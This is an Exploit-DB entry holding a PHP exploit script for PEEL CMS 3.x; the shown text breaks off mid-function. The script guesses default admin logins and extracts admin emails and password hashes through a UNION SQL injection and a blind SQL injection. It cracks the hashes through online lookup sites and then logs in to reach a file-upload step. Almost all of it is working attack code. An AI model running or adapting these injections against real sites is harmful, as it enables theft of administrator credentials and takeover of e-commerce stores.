Exploit-DB #5281
Description: PEEL CMS 3.x - Admin Hash Extraction / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-03-19
Author: Charles Fol

Exploit:
#!/usr/bin/php
<?php

/*---------------------------------------------------------------*\
 *
 * Exploit:	PEEL CMS Admin Hash Extraction and Remote Upload
 * Credits:	Charles "real" F. <charlesfol[at]hotmail.fr>
 * URL: 	http://realn.free.fr/
 * Date:	03-18-08
 *
 * Targets:	PEEL PREMIUM	PEEL POWERSELL
 *      	PEEL INTEGRALE	PEEL PROFESSIONNELLE
 *
 * This exploit will use multiple vulns of multiple versions
 * of PEEL to try to spawn a Remote Upload File.
 *
 * Special thanks to: ddx39.
 *
\*---------------------------------------------------------------*/

$md5loc = array(
array('http://www.milw0rm.com/cracker/search.php','hash=','<TD align="middle" nowrap="nowrap" width=90>([^<]+)</TD><TD align="middle" nowrap="nowrap" width=90>cracked</TD></TR>'),
array('http://gdataonline.com/qkhash.php?mode=txt&hash=','','</td><td width="35%"><b>([^<]+)</b></td></tr>'),
array('http://pepowned.free.fr/?act=&x=52&y=16&md5=','','Le Plain Text de <b>\w{32}</b> est : <b>([^<]+)</b>'),
array('http://passcracking.ru/index.php','admin=false&admin2=77.php&datafromuser=','<td>\w{32}</td><td bgcolor=\#FF0000>([^<]+)</td><td>'),
array('http://md5.rednoize.com/?p&s=md5&_=&q=','','<div id="result">([^<]+)</div>'),
array('http://ice.breaker.free.fr/md5.php?hash=','','<b><br><br> - ([^<]+)<br><br><br><a href=http://ice\.breaker\.free\.fr/'),
);

print "\n";
print "   PEEL CMS Admin Hash Extraction and Remote Upload\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<2)
{
	print "usage: php peel_exploit.php <url> [options]\n\n";
	print "Options:\n";
	print " -admin <login:pass>\tIf you have admin access, you can use this.\n";
	print "\nexample: php peel_exploit.php http://site.org/boutique/ -admin admin:passw0rd\n";
	exit();
}

$url = $argv[1];

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");

$admin = getparam("admin");
if($admin)
{
	print "[*] Using admin login $admin\n";
	list($login,$r) = explode(":",$admin);
	attack($login,$r);
	print "\n";
}
else
{
	/* --- ATTACK #1: LOGIN GUESSING --- */

	print "[*] Attack #1\n";
	$default = array( array("info@peel.fr","admin"), array("contact@peel.fr","cinema") );
	for($i=0;$i<sizeof($default);$i++)
	{
		print "[*] Trying with ".$default[$i][0].":".$default[$i][1];
		if(attack($default[$i][0],$default[$i][1])==1) exit();
	}
	print "[*] Attack failed.\n\n";

	/* --- ATTACK #2: MAGIC_QUOTES_GPC --- */
	
	print "[*] Attack #2\n";
	print "[*] magic_quotes_gpc=";
	$c = $xpl->get($url."phpinfo.php");
	if($c && preg_match('#<tr><td class="e">magic_quotes_gpc</td><td class="v">([^<]+)</td>#i',$c,$b))
	{
		print "$b[1]\n";
	} else print "?\n";
	if($b[1]!="On" && false)
	{
		attack("'%20OR%20(priv=%27admin%27%20AND%201=1)%20/*",'hell0');
		if($b[1]=="Off") exit();
	}
	else print "[*] Attack failed.\n\n";
	
	/* --- ATTACK #3: SQL INJECTION --- */
	
	print "[*] Attack #3\n";
	for($i=0;;$i++)
	{
		$c = $xpl->get($url."achat/historique_commandes.php?mode=details&id=-1&id_utilisateur=-1&timestamp=%2527%20UNION%20SELECT%20id_utilisateur,2,email,4,5,6,7,8,mot_passe,10,11,12,13,14,15%20FROM%20peel_utilisateurs%20WHERE%20priv=%2527admin%2527%20LIMIT%20$i,1/*");

		preg_match("#(\w+@\w+\.\w+)</a></td>#i",$c,$login);
		preg_match("#(\w{32})</td>#i",$c,$passwd);

		if(count($login)<1)
		{
			if($i==0) print "[*] Attack failed.\n\n";
			else      print "[*] Attack failed (if you crack a hash, use -admin param).\n\n";
			break;
		}
		
		$login	= $login[1];
		$[CREDENTIAL_REDACTED][1];
		
		print "[*] Login:\t$login\n";
		print "[*] Hash:\t$passwd\n";

		$md5 = strtolower($passwd);
		for($a=0;$a<sizeof($md5loc);$a++)
		{
			$r = crack($md5loc[$a][0],$md5loc[$a][1],$md5loc[$a][2]);
			if($r) { print "[*] Password:\t$r\n";break; }
		}
		if(!$r) print "[*] Can't find the hash on the net, sorry.\n";
		else
		{ 
			attack($login,$r);
			die();
		}
	}
	
	/* --- ATTACK #4: BLIND SQL INJECTION --- */
	
	print "[*] Attack #4\n";
	for($i=0;;$i++)
	{
		$sql = "%2527%20OR%20MID((SELECT%20email%20FROM%20peel_utilisateurs%20WHERE%20priv=%2527admin%2527%20LIMIT%200,1),$i,1)=123%20/*";
		$xpl->get($url."factures/facture_html.php?mode=facture&id=1&timestamp=$sql/*");
		if(!preg_match("#NO HACK#i",$xpl->getcontent()))
		{
			print "[*] Attack failed.\n\n";
			break;
		}
		
		print "[*] Login:\t";
		$login	= blind("email",$i);
		if($login=="")
		{
			if($i==0) print "\r[*] Attack failed.\n\n";
			else      print "\r[*] Attack failed (if you crack a hash, use -admin param).\n\n";
			break;
		}
		print "\n[*] Hash:\t";
		$passwd	= blind("mot_passe",$i);
		print "\n";
		$md5 = strtolower($passwd);
		for($a=0;$a<sizeof($md5loc);$a++)
		{
			$r = crack($md5loc[$a][0],$md5loc[$a][1],$md5loc[$a][2]);
			if($r) { print "[*] Password:\t$r\n";break; }
		}
		if(!$r) print "[*] Can't find the hash on the net, sorry.\n";
		else
		{ 
			attack($login,$r);
			die();
		}
	}
}

function blind($field,$i=0)
{
	global $xpl,$url;
	$d=0; $v='';
	
	$charset = "etaonisrhldcumfpwgbyvkxjqz[PII_REDACTED]_-\$.^()[]{}Å *\"'@=/\|#?+&!`<>:;,\\";
	if(eregi('p',$field)) $charset = "[PII_REDACTED]abcdef";

	while(TRUE)
	{
		$d++;
		for($e=0;$e<strlen($charset);$e++)
		{
			$f=ord(substr($charset,$e,1));
			$sql = "%2527%20OR%20MID((SELECT%20$field%20FROM%20peel_utilisateurs%20WHERE%20priv=%2527admin%2527%20LIMIT%20$i,1),$d,1)=CHAR($f)%20/*";
			$xpl->get($url."factures/facture_html.php?mode=facture&id=1&timestamp=$sql/*");
			if(!preg_match("#NO HACK#",$xpl->getcontent(),$matches))
			{
				print strtolower(chr($f));
				$v .= chr($f);
				break;
			}
			elseif($e==strlen($charset)-1) return $v;
		}
	}
}

function attack($login,$r)
{
	global $xpl,$url;
	print "\n[*] Login in ... ";
	$xpl->reset("cookies");
	$c=$xpl->post($url."/membre.php","email=$login&mot_passe=$r");
	if(!preg_match("#Location:.*".$url."index.php#i",$c) || !preg_ma